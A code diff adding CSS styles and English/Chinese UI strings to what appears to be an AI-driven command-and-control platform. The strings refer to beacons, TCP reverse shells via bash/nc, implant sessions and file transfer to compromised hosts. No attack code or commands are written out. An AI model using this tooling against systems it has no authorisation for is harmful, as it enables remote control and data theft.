#c2-file-upload-btn.is-disabled,
|
||||||
|
#c2-file-upload-btn:disabled {
|
||||||
|
opacity: 0.5;
|
||||||
|
cursor: not-allowed;
|
||||||
|
color: var(--c2-text-dim, #94a3b8);
|
||||||
|
border-color: var(--c2-border, #e2e8f0);
|
||||||
|
}
|
||||||
|
|
||||||
|
.c2-file-upload-hint {
|
||||||
|
font-size: 12px;
|
||||||
|
color: #b45309;
|
||||||
|
background: rgba(245, 158, 11, 0.08);
|
||||||
|
border: 1px solid rgba(245, 158, 11, 0.25);
|
||||||
|
border-radius: var(--c2-radius-xs, 4px);
|
||||||
|
padding: 8px 12px;
|
||||||
|
margin: -8px 0 12px;
|
||||||
|
line-height: 1.5;
|
||||||
|
word-break: break-word;
|
||||||
|
}
|
||||||
|
|
||||||
|
.c2-file-upload-hint[hidden] {
|
||||||
|
display: none !important;
|
||||||
|
}
|
||||||
|
|
||||||
|
.c2-file-upload-progress {
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
gap: 10px;
|
||||||
|
margin: -8px 0 12px;
|
||||||
|
padding: 0 4px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.c2-file-upload-progress[hidden] {
|
||||||
|
display: none !important;
|
||||||
|
}
|
||||||
|
|
||||||
|
.c2-file-upload-progress-track {
|
||||||
|
flex: 1;
|
||||||
|
height: 4px;
|
||||||
|
background: var(--c2-border);
|
||||||
|
border-radius: 2px;
|
||||||
|
overflow: hidden;
|
||||||
|
}
|
||||||
|
|
||||||
|
.c2-file-upload-progress-fill {
|
||||||
|
height: 100%;
|
||||||
|
width: 0;
|
||||||
|
background: var(--c2-accent, #3b82f6);
|
||||||
|
transition: width 0.2s ease;
|
||||||
|
}
|
||||||
|
|
||||||
|
.c2-file-upload-progress-label {
|
||||||
|
font-size: 11px;
|
||||||
|
color: var(--c2-text-dim);
|
||||||
|
white-space: nowrap;
|
||||||
|
max-width: 220px;
|
||||||
|
overflow: hidden;
|
||||||
|
text-overflow: ellipsis;
|
||||||
|
}
|
||||||
|
|
||||||
.c2-file-list {
|
.c2-file-list {
|
||||||
background: var(--c2-surface);
|
background: var(--c2-surface);
|
||||||
border-radius: var(--c2-radius);
|
border-radius: var(--c2-radius);
|
||||||
@@ -1218,32 +1278,172 @@
|
|||||||
Task Detail Modal
|
Task Detail Modal
|
||||||
============================================================================ */
|
============================================================================ */
|
||||||
|
|
||||||
.c2-task-detail { line-height: 2; }
|
.c2-modal.c2-modal--wide {
|
||||||
.c2-task-detail > div { margin-bottom: 6px; font-size: 13px; }
|
max-width: 720px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.c2-task-modal-header {
|
||||||
|
align-items: flex-start;
|
||||||
|
}
|
||||||
|
|
||||||
|
.c2-task-modal-heading {
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
gap: 12px;
|
||||||
|
flex-wrap: wrap;
|
||||||
|
}
|
||||||
|
|
||||||
|
.c2-task-modal-heading h3 {
|
||||||
|
margin: 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.c2-task-detail {
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
gap: 20px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.c2-task-detail-grid {
|
||||||
|
display: grid;
|
||||||
|
grid-template-columns: repeat(2, minmax(0, 1fr));
|
||||||
|
gap: 12px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.c2-task-kv {
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
gap: 6px;
|
||||||
|
padding: 12px 14px;
|
||||||
|
background: var(--c2-surface-alt);
|
||||||
|
border: 1px solid var(--c2-border);
|
||||||
|
border-radius: var(--c2-radius-sm);
|
||||||
|
}
|
||||||
|
|
||||||
|
.c2-task-kv__label {
|
||||||
|
font-size: 11px;
|
||||||
|
font-weight: 600;
|
||||||
|
letter-spacing: 0.04em;
|
||||||
|
text-transform: uppercase;
|
||||||
|
color: var(--c2-text-muted);
|
||||||
|
}
|
||||||
|
|
||||||
|
.c2-task-kv__value {
|
||||||
|
font-size: 13px;
|
||||||
|
font-weight: 500;
|
||||||
|
color: var(--c2-text);
|
||||||
|
word-break: break-all;
|
||||||
|
line-height: 1.45;
|
||||||
|
}
|
||||||
|
|
||||||
|
.c2-task-kv__value--mono {
|
||||||
|
font-family: var(--c2-mono);
|
||||||
|
font-size: 12px;
|
||||||
|
color: var(--c2-text-dim);
|
||||||
|
}
|
||||||
|
|
||||||
|
.c2-task-kv__value--accent {
|
||||||
|
font-family: var(--c2-mono);
|
||||||
|
font-weight: 600;
|
||||||
|
color: var(--c2-accent);
|
||||||
|
}
|
||||||
|
|
||||||
|
.c2-task-timeline {
|
||||||
|
display: grid;
|
||||||
|
grid-template-columns: repeat(3, minmax(0, 1fr));
|
||||||
|
gap: 10px;
|
||||||
|
padding: 14px 16px;
|
||||||
|
background: linear-gradient(135deg, rgba(59, 130, 246, 0.06), rgba(59, 130, 246, 0.02));
|
||||||
|
border: 1px solid rgba(59, 130, 246, 0.14);
|
||||||
|
border-radius: var(--c2-radius-sm);
|
||||||
|
}
|
||||||
|
|
||||||
|
.c2-task-time-card {
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
gap: 6px;
|
||||||
|
min-width: 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.c2-task-time-card:not(:last-child) {
|
||||||
|
padding-right: 10px;
|
||||||
|
border-right: 1px solid rgba(59, 130, 246, 0.12);
|
||||||
|
}
|
||||||
|
|
||||||
|
.c2-task-code-section,
|
||||||
|
.c2-task-error-section {
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
gap: 10px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.c2-task-code-header {
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
justify-content: space-between;
|
||||||
|
gap: 12px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.c2-task-code-title {
|
||||||
|
font-size: 12px;
|
||||||
|
font-weight: 700;
|
||||||
|
letter-spacing: 0.04em;
|
||||||
|
text-transform: uppercase;
|
||||||
|
color: var(--c2-text-dim);
|
||||||
|
}
|
||||||
|
|
||||||
.c2-task-error {
|
.c2-task-error {
|
||||||
color: var(--c2-red);
|
color: var(--c2-red);
|
||||||
padding: 14px;
|
padding: 14px 16px;
|
||||||
background: var(--c2-red-dim);
|
background: var(--c2-red-dim);
|
||||||
border: 1px solid rgba(239, 68, 68, 0.15);
|
border: 1px solid rgba(239, 68, 68, 0.15);
|
||||||
border-radius: var(--c2-radius-sm);
|
border-radius: var(--c2-radius-sm);
|
||||||
margin-top: 12px;
|
|
||||||
font-size: 13px;
|
font-size: 13px;
|
||||||
|
line-height: 1.55;
|
||||||
|
white-space: pre-wrap;
|
||||||
|
word-break: break-word;
|
||||||
}
|
}
|
||||||
|
|
||||||
.c2-task-result pre {
|
.c2-task-result-pre,
|
||||||
|
.c2-task-command-pre {
|
||||||
background: #0f172a;
|
background: #0f172a;
|
||||||
color: #e2e8f0;
|
color: #e2e8f0;
|
||||||
padding: 16px;
|
padding: 14px 16px;
|
||||||
border-radius: var(--c2-radius-sm);
|
border-radius: var(--c2-radius-sm);
|
||||||
overflow-x: auto;
|
overflow-x: auto;
|
||||||
font-family: var(--c2-mono);
|
font-family: var(--c2-mono);
|
||||||
font-size: 12px;
|
font-size: 12px;
|
||||||
margin-top: 8px;
|
margin: 0;
|
||||||
max-height: 400px;
|
max-height: 360px;
|
||||||
overflow-y: auto;
|
overflow-y: auto;
|
||||||
border: 1px solid #1e293b;
|
border: 1px solid #1e293b;
|
||||||
line-height: 1.6;
|
line-height: 1.6;
|
||||||
|
white-space: pre-wrap;
|
||||||
|
word-break: break-all;
|
||||||
|
}
|
||||||
|
|
||||||
|
.c2-task-command-pre {
|
||||||
|
max-height: 140px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.c2-task-command-cell {
|
||||||
|
max-width: 220px;
|
||||||
|
overflow: hidden;
|
||||||
|
text-overflow: ellipsis;
|
||||||
|
white-space: nowrap;
|
||||||
|
font-family: var(--c2-mono);
|
||||||
|
font-size: 12px;
|
||||||
|
color: var(--c2-text-muted, #64748b);
|
||||||
|
}
|
||||||
|
|
||||||
|
.c2-task-item-compact .c2-task-command {
|
||||||
|
flex: 1;
|
||||||
|
min-width: 0;
|
||||||
|
overflow: hidden;
|
||||||
|
text-overflow: ellipsis;
|
||||||
|
white-space: nowrap;
|
||||||
|
font-family: var(--c2-mono);
|
||||||
|
font-size: 11px;
|
||||||
|
color: var(--c2-text-muted, #64748b);
|
||||||
}
|
}
|
||||||
|
|
||||||
/* ============================================================================
|
/* ============================================================================
|
||||||
@@ -1277,6 +1477,11 @@
|
|||||||
Modal
|
Modal
|
||||||
============================================================================ */
|
============================================================================ */
|
||||||
|
|
||||||
|
/* Toast 须高于模态遮罩 (10050),避免被 backdrop-filter 模糊 */
|
||||||
|
#c2-toast-container {
|
||||||
|
z-index: 10100 !important;
|
||||||
|
}
|
||||||
|
|
||||||
.c2-modal-overlay {
|
.c2-modal-overlay {
|
||||||
position: fixed;
|
position: fixed;
|
||||||
top: 0; left: 0; right: 0; bottom: 0;
|
top: 0; left: 0; right: 0; bottom: 0;
|
||||||
@@ -1388,4 +1593,13 @@
|
|||||||
.c2-stats { flex-direction: column; gap: 12px; }
|
.c2-stats { flex-direction: column; gap: 12px; }
|
||||||
.c2-payload-grid { grid-template-columns: 1fr; }
|
.c2-payload-grid { grid-template-columns: 1fr; }
|
||||||
.c2-listener-grid { grid-template-columns: 1fr; padding: 16px; }
|
.c2-listener-grid { grid-template-columns: 1fr; padding: 16px; }
|
||||||
|
.c2-task-detail-grid { grid-template-columns: 1fr; }
|
||||||
|
.c2-task-timeline { grid-template-columns: 1fr; }
|
||||||
|
.c2-task-time-card:not(:last-child) {
|
||||||
|
padding-right: 0;
|
||||||
|
padding-bottom: 10px;
|
||||||
|
border-right: none;
|
||||||
|
border-bottom: 1px solid rgba(59, 130, 246, 0.12);
|
||||||
|
}
|
||||||
|
.c2-modal.c2-modal--wide { max-width: 100%; }
|
||||||
}
|
}
|
||||||
|
|||||||
+1272
-728
File diff suppressed because it is too large
Load Diff
@@ -1499,9 +1499,15 @@
|
|||||||
"loading": "Loading...",
|
"loading": "Loading...",
|
||||||
"noStatsData": "No statistical data",
|
"noStatsData": "No statistical data",
|
||||||
"noExecutions": "No execution records",
|
"noExecutions": "No execution records",
|
||||||
|
"emptyHint": "Execution records will appear here after you invoke MCP tools in chat or tasks",
|
||||||
"noRecordsWithFilter": "No records with current filter",
|
"noRecordsWithFilter": "No records with current filter",
|
||||||
"paginationInfo": "Show {{start}}-{{end}} of {{total}} records",
|
"paginationInfo": "Show {{start}}-{{end}} of {{total}} records",
|
||||||
"perPageLabel": "Per page",
|
"perPageLabel": "Per page",
|
||||||
|
"firstPage": "First",
|
||||||
|
"prevPage": "Previous",
|
||||||
|
"nextPage": "Next",
|
||||||
|
"lastPage": "Last",
|
||||||
|
"pageInfo": "Page {{page}} of {{total}}",
|
||||||
"loadStatsError": "Failed to load statistics",
|
"loadStatsError": "Failed to load statistics",
|
||||||
"loadExecutionsError": "Failed to load execution records",
|
"loadExecutionsError": "Failed to load execution records",
|
||||||
"totalCalls": "Total calls",
|
"totalCalls": "Total calls",
|
||||||
@@ -1514,6 +1520,17 @@
|
|||||||
"unknownTool": "Unknown tool",
|
"unknownTool": "Unknown tool",
|
||||||
"successFailedRate": "Success {{success}} / Failed {{failed}} · {{rate}}% success rate",
|
"successFailedRate": "Success {{success}} / Failed {{failed}} · {{rate}}% success rate",
|
||||||
"topToolsTitle": "Top {{n}} tools by calls",
|
"topToolsTitle": "Top {{n}} tools by calls",
|
||||||
|
"toolRankingTitle": "Tool call ranking",
|
||||||
|
"toolStatsTitle": "Tool statistics",
|
||||||
|
"toolStatsHint": "Click a bar segment or row to filter records below; hover to highlight",
|
||||||
|
"scopeCumulative": "All time",
|
||||||
|
"scopeTimeline": "Trend period",
|
||||||
|
"filterActive": "Filtered: {{tool}}",
|
||||||
|
"kpiScopeNote": "Lifetime totals",
|
||||||
|
"columnCalls": "Calls",
|
||||||
|
"columnShare": "Share",
|
||||||
|
"columnSuccessRate": "Success rate",
|
||||||
|
"rankingSummary": "Top {{n}} {{pct}}% · {{total}} total calls",
|
||||||
"barVolumeLegend": "Bar length: relative call volume; green/red: success vs failure share",
|
"barVolumeLegend": "Bar length: relative call volume; green/red: success vs failure share",
|
||||||
"clickToFilterTool": "Click a row to filter records below",
|
"clickToFilterTool": "Click a row to filter records below",
|
||||||
"toolRowAriaLabel": "{{name}}, {{total}} calls, {{rate}}% success rate. Click to filter records.",
|
"toolRowAriaLabel": "{{name}}, {{total}} calls, {{rate}}% success rate. Click to filter records.",
|
||||||
@@ -1526,9 +1543,21 @@
|
|||||||
"rateWarning": "Some failures detected",
|
"rateWarning": "Some failures detected",
|
||||||
"rateCritical": "High failure rate",
|
"rateCritical": "High failure rate",
|
||||||
"statsSubtitle": "Refreshed {{time}} · {{count}} tools",
|
"statsSubtitle": "Refreshed {{time}} · {{count}} tools",
|
||||||
|
"timelineTitle": "Call trend",
|
||||||
|
"timelineHint": "All tools combined (not split by tool)",
|
||||||
|
"timelineRange24h": "24h",
|
||||||
|
"timelineRange7d": "7d",
|
||||||
|
"timelineRange30d": "30d",
|
||||||
|
"timelineSummary": "{{total}} calls in range · peak {{peak}}",
|
||||||
|
"timelineSparseHint": "Most buckets are empty; peak {{peak}} calls at {{peakTime}}",
|
||||||
|
"timelineNoData": "No calls in this period",
|
||||||
|
"timelineLoadError": "Failed to load call trend",
|
||||||
|
"timelineTotalLegend": "Total calls",
|
||||||
|
"timelineFailedLegend": "Failed",
|
||||||
|
"timelineTooltip": "{{time}}: {{total}} calls ({{failed}} failed)",
|
||||||
"distTitle": "Call distribution",
|
"distTitle": "Call distribution",
|
||||||
"distLegend": "Slice area shows share of all calls",
|
"distLegend": "Slice area shows share of all calls",
|
||||||
"distClickHint": "Click legend or slice to filter records",
|
"distClickHint": "Click a bar segment to filter records",
|
||||||
"distHeaderHint": "{{n}} total calls",
|
"distHeaderHint": "{{n}} total calls",
|
||||||
"distSegmentAria": "{{name}}, {{pct}}% of calls, {{calls}} times",
|
"distSegmentAria": "{{name}}, {{pct}}% of calls, {{calls}} times",
|
||||||
"distOthersNoFilter": "Other tools cannot be filtered individually",
|
"distOthersNoFilter": "Other tools cannot be filtered individually",
|
||||||
@@ -1758,6 +1787,12 @@
|
|||||||
"loadListFailed": "Failed to load",
|
"loadListFailed": "Failed to load",
|
||||||
"noRecords": "No vulnerability records",
|
"noRecords": "No vulnerability records",
|
||||||
"batchExport": "Batch export",
|
"batchExport": "Batch export",
|
||||||
|
"batchDelete": "Batch delete",
|
||||||
|
"batchDeleteNoResults": "No vulnerabilities match the current filters to delete",
|
||||||
|
"batchDeleteConfirm": "Delete {{count}} vulnerability record(s) matching the current filters? This cannot be undone.",
|
||||||
|
"batchDeleteConfirmAll": "No filters are set. This will delete all {{count}} vulnerability record(s). This cannot be undone. Continue?",
|
||||||
|
"batchDeleteSuccess": "Successfully deleted {{count}} vulnerability record(s)",
|
||||||
|
"batchDeleteFailed": "Batch delete failed",
|
||||||
"downloadMarkdownTitle": "Download Markdown",
|
"downloadMarkdownTitle": "Download Markdown",
|
||||||
"exportNoResults": "No vulnerabilities match the current filters",
|
"exportNoResults": "No vulnerabilities match the current filters",
|
||||||
"exportStarted": "Started downloading {{count}} file(s)",
|
"exportStarted": "Started downloading {{count}} file(s)",
|
||||||
@@ -1836,7 +1871,7 @@
|
|||||||
"descPlaceholder": "When the orchestrator should delegate to this agent",
|
"descPlaceholder": "When the orchestrator should delegate to this agent",
|
||||||
"fieldTools": "Tools (comma-separated; same keys as role tools)",
|
"fieldTools": "Tools (comma-separated; same keys as role tools)",
|
||||||
"fieldBindRole": "Bind role (optional)",
|
"fieldBindRole": "Bind role (optional)",
|
||||||
"fieldMaxIter": "Max sub-agent iterations (0 = use global default)",
|
"fieldMaxIter": "Max iterations (0 = use Settings → agent.max_iterations)",
|
||||||
"fieldInstruction": "System prompt (Markdown body)",
|
"fieldInstruction": "System prompt (Markdown body)",
|
||||||
"instructionPlaceholder": "You are a specialist agent...",
|
"instructionPlaceholder": "You are a specialist agent...",
|
||||||
"nameRequired": "Display name is required",
|
"nameRequired": "Display name is required",
|
||||||
@@ -1974,8 +2009,6 @@
|
|||||||
"visionSkipPreprocessHint": "0 = always JPEG compress; must also fit long-edge and payload limits.",
|
"visionSkipPreprocessHint": "0 = always JPEG compress; must also fit long-edge and payload limits.",
|
||||||
"visionDetail": "Image detail",
|
"visionDetail": "Image detail",
|
||||||
"visionTimeout": "Timeout (seconds)",
|
"visionTimeout": "Timeout (seconds)",
|
||||||
"visionAllowedRoots": "Extra allowed path roots",
|
|
||||||
"visionAllowedRootsPlaceholder": "One absolute path per line, optional",
|
|
||||||
"visionTestFillRequired": "Enter vision model and ensure API Key is available (or reuse OpenAI)",
|
"visionTestFillRequired": "Enter vision model and ensure API Key is available (or reuse OpenAI)",
|
||||||
"testConnection": "Test Connection",
|
"testConnection": "Test Connection",
|
||||||
"testFillRequired": "Please fill in API Key and Model first",
|
"testFillRequired": "Please fill in API Key and Model first",
|
||||||
@@ -2224,6 +2257,9 @@
|
|||||||
"descriptionPlaceholder": "Short description",
|
"descriptionPlaceholder": "Short description",
|
||||||
"descriptionHint": "Maps to the description field in SKILL.md YAML (when creating/editing SKILL.md)",
|
"descriptionHint": "Maps to the description field in SKILL.md YAML (when creating/editing SKILL.md)",
|
||||||
"packageFiles": "Package files",
|
"packageFiles": "Package files",
|
||||||
|
"packageFilesHint": "Click a file to edit; folders are labels only and cannot be opened",
|
||||||
|
"folderHint": "Folder (not editable)",
|
||||||
|
"clickToEdit": "Click to edit this file",
|
||||||
"editingFile": "Editing",
|
"editingFile": "Editing",
|
||||||
"newFile": "New file",
|
"newFile": "New file",
|
||||||
"newFilePlaceholder": "Relative path, e.g. FORMS.md or scripts/extra.sh",
|
"newFilePlaceholder": "Relative path, e.g. FORMS.md or scripts/extra.sh",
|
||||||
@@ -2510,6 +2546,15 @@
|
|||||||
"files": {
|
"files": {
|
||||||
"parent": "Parent",
|
"parent": "Parent",
|
||||||
"refresh": "Refresh",
|
"refresh": "Refresh",
|
||||||
|
"upload": "Upload",
|
||||||
|
"uploading": "Uploading {{name}} · {{percent}}%",
|
||||||
|
"uploadOk": "Uploaded",
|
||||||
|
"uploadQueued": "Upload task queued",
|
||||||
|
"uploadPendingApproval": "Upload task pending HITL approval",
|
||||||
|
"uploadUnsupported": "Upload is not supported for this session",
|
||||||
|
"uploadCurlBeacon": "Curl beacons cannot upload files; use an HTTP Beacon",
|
||||||
|
"uploadTcpShell": "This is a TCP reverse shell (bash/nc): commands and download only. For upload, reconnect with: (1) a compiled CSB1 Beacon on the same listener, or (2) an HTTP/HTTPS Beacon.",
|
||||||
|
"uploadTcpReverse": "This is a TCP reverse shell (bash/nc): commands and download only. For upload, reconnect with: (1) a compiled CSB1 Beacon on the same listener, or (2) an HTTP/HTTPS Beacon.",
|
||||||
"loading": "Loading…",
|
"loading": "Loading…",
|
||||||
"timeout": "Timed out loading files",
|
"timeout": "Timed out loading files",
|
||||||
"emptyDir": "Empty directory",
|
"emptyDir": "Empty directory",
|
||||||
@@ -2519,6 +2564,7 @@
|
|||||||
"colActions": "Actions",
|
"colActions": "Actions",
|
||||||
"open": "Open",
|
"open": "Open",
|
||||||
"download": "Download",
|
"download": "Download",
|
||||||
|
"downloadOk": "Downloaded",
|
||||||
"failed": "Failed"
|
"failed": "Failed"
|
||||||
},
|
},
|
||||||
"listeners": {
|
"listeners": {
|
||||||
@@ -2635,7 +2681,7 @@
|
|||||||
"confirmDeleteSession": "Remove this session and related tasks/files from the server? (Does not send exit to the implant; use Kill Session to exit the agent.)",
|
"confirmDeleteSession": "Remove this session and related tasks/files from the server? (Does not send exit to the implant; use Kill Session to exit the agent.)",
|
||||||
"toastExitSent": "Exit command sent",
|
"toastExitSent": "Exit command sent",
|
||||||
"toastSessionDeleted": "Session record deleted",
|
"toastSessionDeleted": "Session record deleted",
|
||||||
"terminalWelcome": "CyberStrikeAI C2 Terminal — AI-Native Command & Control",
|
"terminalWelcome": "CyberStrikeAI C2 Terminal — Enter to run; ↑↓ history; Ctrl+L clear; Ctrl+C cancel input",
|
||||||
"termStatusReady": "Ready",
|
"termStatusReady": "Ready",
|
||||||
"termStatusExec": "Executing…",
|
"termStatusExec": "Executing…",
|
||||||
"termStatusErr": "Error",
|
"termStatusErr": "Error",
|
||||||
@@ -2644,6 +2690,9 @@
|
|||||||
"termWaitTimeout": "[Timed out waiting for result]",
|
"termWaitTimeout": "[Timed out waiting for result]",
|
||||||
"termCleared": "Terminal cleared",
|
"termCleared": "Terminal cleared",
|
||||||
"termNoSelection": "No text selected",
|
"termNoSelection": "No text selected",
|
||||||
|
"termWaitFinish": "Please wait for the current command to finish",
|
||||||
|
"termCtrlC": "Remote interrupt is not supported in this version",
|
||||||
|
"termQueued": "[Command queued — will run after the current task completes]",
|
||||||
"clearTerminal": "Clear"
|
"clearTerminal": "Clear"
|
||||||
},
|
},
|
||||||
"tasks": {
|
"tasks": {
|
||||||
@@ -2670,6 +2719,7 @@
|
|||||||
"colTask": "Task",
|
"colTask": "Task",
|
||||||
"colSession": "Session",
|
"colSession": "Session",
|
||||||
"colType": "Type",
|
"colType": "Type",
|
||||||
|
"colCommand": "Command",
|
||||||
"colStatus": "Status",
|
"colStatus": "Status",
|
||||||
"colDuration": "Duration",
|
"colDuration": "Duration",
|
||||||
"colCreated": "Created",
|
"colCreated": "Created",
|
||||||
@@ -2680,6 +2730,8 @@
|
|||||||
"labelId": "ID",
|
"labelId": "ID",
|
||||||
"labelSession": "Session",
|
"labelSession": "Session",
|
||||||
"labelType": "Type",
|
"labelType": "Type",
|
||||||
|
"labelCommand": "Command",
|
||||||
|
"labelPayload": "Payload",
|
||||||
"labelStatus": "Status",
|
"labelStatus": "Status",
|
||||||
"labelCreated": "Created",
|
"labelCreated": "Created",
|
||||||
"labelSent": "Sent",
|
"labelSent": "Sent",
|
||||||
|
|||||||
@@ -1488,9 +1488,15 @@
|
|||||||
"loading": "加载中...",
|
"loading": "加载中...",
|
||||||
"noStatsData": "暂无统计数据",
|
"noStatsData": "暂无统计数据",
|
||||||
"noExecutions": "暂无执行记录",
|
"noExecutions": "暂无执行记录",
|
||||||
|
"emptyHint": "在对话或任务中调用 MCP 工具后,执行记录将显示在此处",
|
||||||
"noRecordsWithFilter": "当前筛选条件下暂无记录",
|
"noRecordsWithFilter": "当前筛选条件下暂无记录",
|
||||||
"paginationInfo": "显示 {{start}}-{{end}} / 共 {{total}} 条记录",
|
"paginationInfo": "显示 {{start}}-{{end}} / 共 {{total}} 条记录",
|
||||||
"perPageLabel": "每页显示",
|
"perPageLabel": "每页显示",
|
||||||
|
"firstPage": "首页",
|
||||||
|
"prevPage": "上一页",
|
||||||
|
"nextPage": "下一页",
|
||||||
|
"lastPage": "末页",
|
||||||
|
"pageInfo": "第 {{page}} / {{total}} 页",
|
||||||
"loadStatsError": "无法加载统计信息",
|
"loadStatsError": "无法加载统计信息",
|
||||||
"loadExecutionsError": "无法加载执行记录",
|
"loadExecutionsError": "无法加载执行记录",
|
||||||
"totalCalls": "总调用次数",
|
"totalCalls": "总调用次数",
|
||||||
@@ -1503,6 +1509,17 @@
|
|||||||
"unknownTool": "未知工具",
|
"unknownTool": "未知工具",
|
||||||
"successFailedRate": "成功 {{success}} / 失败 {{failed}} · 成功率 {{rate}}%",
|
"successFailedRate": "成功 {{success}} / 失败 {{failed}} · 成功率 {{rate}}%",
|
||||||
"topToolsTitle": "工具调用 Top {{n}}",
|
"topToolsTitle": "工具调用 Top {{n}}",
|
||||||
|
"toolRankingTitle": "工具调用排行",
|
||||||
|
"toolStatsTitle": "工具统计",
|
||||||
|
"toolStatsHint": "点击色条或列表行筛选下方执行记录;悬停联动高亮",
|
||||||
|
"scopeCumulative": "累计",
|
||||||
|
"scopeTimeline": "趋势时段",
|
||||||
|
"filterActive": "已筛选:{{tool}}",
|
||||||
|
"kpiScopeNote": "累计统计(全时段)",
|
||||||
|
"columnCalls": "调用",
|
||||||
|
"columnShare": "占比",
|
||||||
|
"columnSuccessRate": "成功率",
|
||||||
|
"rankingSummary": "Top {{n}} 占 {{pct}}% · 共 {{total}} 次调用",
|
||||||
"barVolumeLegend": "条长表示相对调用量,条内绿/红为成功/失败占比",
|
"barVolumeLegend": "条长表示相对调用量,条内绿/红为成功/失败占比",
|
||||||
"clickToFilterTool": "点击行筛选下方执行记录",
|
"clickToFilterTool": "点击行筛选下方执行记录",
|
||||||
"toolRowAriaLabel": "{{name}},{{total}} 次调用,成功率 {{rate}}%,点击查看执行记录",
|
"toolRowAriaLabel": "{{name}},{{total}} 次调用,成功率 {{rate}}%,点击查看执行记录",
|
||||||
@@ -1515,9 +1532,21 @@
|
|||||||
"rateWarning": "存在失败调用",
|
"rateWarning": "存在失败调用",
|
||||||
"rateCritical": "失败率偏高",
|
"rateCritical": "失败率偏高",
|
||||||
"statsSubtitle": "最后刷新 {{time}} · 共 {{count}} 个工具",
|
"statsSubtitle": "最后刷新 {{time}} · 共 {{count}} 个工具",
|
||||||
|
"timelineTitle": "调用趋势",
|
||||||
|
"timelineHint": "全部工具合计,不按工具拆分",
|
||||||
|
"timelineRange24h": "24 小时",
|
||||||
|
"timelineRange7d": "7 天",
|
||||||
|
"timelineRange30d": "30 天",
|
||||||
|
"timelineSummary": "区间内 {{total}} 次 · 峰值 {{peak}}",
|
||||||
|
"timelineSparseHint": "该时段多数时间为 0,峰值 {{peak}} 次出现在 {{peakTime}}",
|
||||||
|
"timelineNoData": "该时段暂无调用",
|
||||||
|
"timelineLoadError": "无法加载调用趋势",
|
||||||
|
"timelineTotalLegend": "总调用",
|
||||||
|
"timelineFailedLegend": "失败",
|
||||||
|
"timelineTooltip": "{{time}}:{{total}} 次(失败 {{failed}})",
|
||||||
"distTitle": "调用分布",
|
"distTitle": "调用分布",
|
||||||
"distLegend": "扇区面积为占全部调用比例",
|
"distLegend": "扇区面积为占全部调用比例",
|
||||||
"distClickHint": "点击图例或扇区筛选执行记录",
|
"distClickHint": "点击色条筛选执行记录",
|
||||||
"distHeaderHint": "共 {{n}} 次调用",
|
"distHeaderHint": "共 {{n}} 次调用",
|
||||||
"distSegmentAria": "{{name}},占 {{pct}}%,{{calls}} 次",
|
"distSegmentAria": "{{name}},占 {{pct}}%,{{calls}} 次",
|
||||||
"distOthersNoFilter": "其他工具无法单独筛选",
|
"distOthersNoFilter": "其他工具无法单独筛选",
|
||||||
@@ -1747,6 +1776,12 @@
|
|||||||
"loadListFailed": "加载失败",
|
"loadListFailed": "加载失败",
|
||||||
"noRecords": "暂无漏洞记录",
|
"noRecords": "暂无漏洞记录",
|
||||||
"batchExport": "批量导出",
|
"batchExport": "批量导出",
|
||||||
|
"batchDelete": "批量删除",
|
||||||
|
"batchDeleteNoResults": "当前筛选条件下没有可删除的漏洞",
|
||||||
|
"batchDeleteConfirm": "确定要删除当前筛选条件下的 {{count}} 条漏洞吗?此操作不可恢复。",
|
||||||
|
"batchDeleteConfirmAll": "未设置筛选条件,将删除全部 {{count}} 条漏洞。此操作不可恢复,确定继续?",
|
||||||
|
"batchDeleteSuccess": "成功删除 {{count}} 条漏洞",
|
||||||
|
"batchDeleteFailed": "批量删除失败",
|
||||||
"downloadMarkdownTitle": "下载 Markdown",
|
"downloadMarkdownTitle": "下载 Markdown",
|
||||||
"exportNoResults": "当前筛选条件下无可导出漏洞",
|
"exportNoResults": "当前筛选条件下无可导出漏洞",
|
||||||
"exportStarted": "已开始下载 {{count}} 份报告",
|
"exportStarted": "已开始下载 {{count}} 份报告",
|
||||||
@@ -1825,7 +1860,7 @@
|
|||||||
"descPlaceholder": "何时由协调者调度该子代理",
|
"descPlaceholder": "何时由协调者调度该子代理",
|
||||||
"fieldTools": "可用工具(逗号分隔,与角色工具 key 一致)",
|
"fieldTools": "可用工具(逗号分隔,与角色工具 key 一致)",
|
||||||
"fieldBindRole": "绑定角色(可选)",
|
"fieldBindRole": "绑定角色(可选)",
|
||||||
"fieldMaxIter": "子代理最大迭代(0=使用全局默认)",
|
"fieldMaxIter": "最大迭代(0=沿用设置页 agent.max_iterations)",
|
||||||
"fieldInstruction": "系统提示词(Markdown 正文)",
|
"fieldInstruction": "系统提示词(Markdown 正文)",
|
||||||
"instructionPlaceholder": "You are a specialist agent...",
|
"instructionPlaceholder": "You are a specialist agent...",
|
||||||
"nameRequired": "请填写显示名称",
|
"nameRequired": "请填写显示名称",
|
||||||
@@ -1963,8 +1998,6 @@
|
|||||||
"visionSkipPreprocessHint": "0 表示始终 JPEG 压缩;需同时满足长边与 payload 限制。",
|
"visionSkipPreprocessHint": "0 表示始终 JPEG 压缩;需同时满足长边与 payload 限制。",
|
||||||
"visionDetail": "Image detail",
|
"visionDetail": "Image detail",
|
||||||
"visionTimeout": "超时(秒)",
|
"visionTimeout": "超时(秒)",
|
||||||
"visionAllowedRoots": "额外允许路径根目录",
|
|
||||||
"visionAllowedRootsPlaceholder": "每行一个绝对路径,可选",
|
|
||||||
"visionTestFillRequired": "请填写视觉模型,并确保 API Key 可用(可复用 OpenAI)",
|
"visionTestFillRequired": "请填写视觉模型,并确保 API Key 可用(可复用 OpenAI)",
|
||||||
"testConnection": "测试连接",
|
"testConnection": "测试连接",
|
||||||
"testFillRequired": "请先填写 API Key 和模型",
|
"testFillRequired": "请先填写 API Key 和模型",
|
||||||
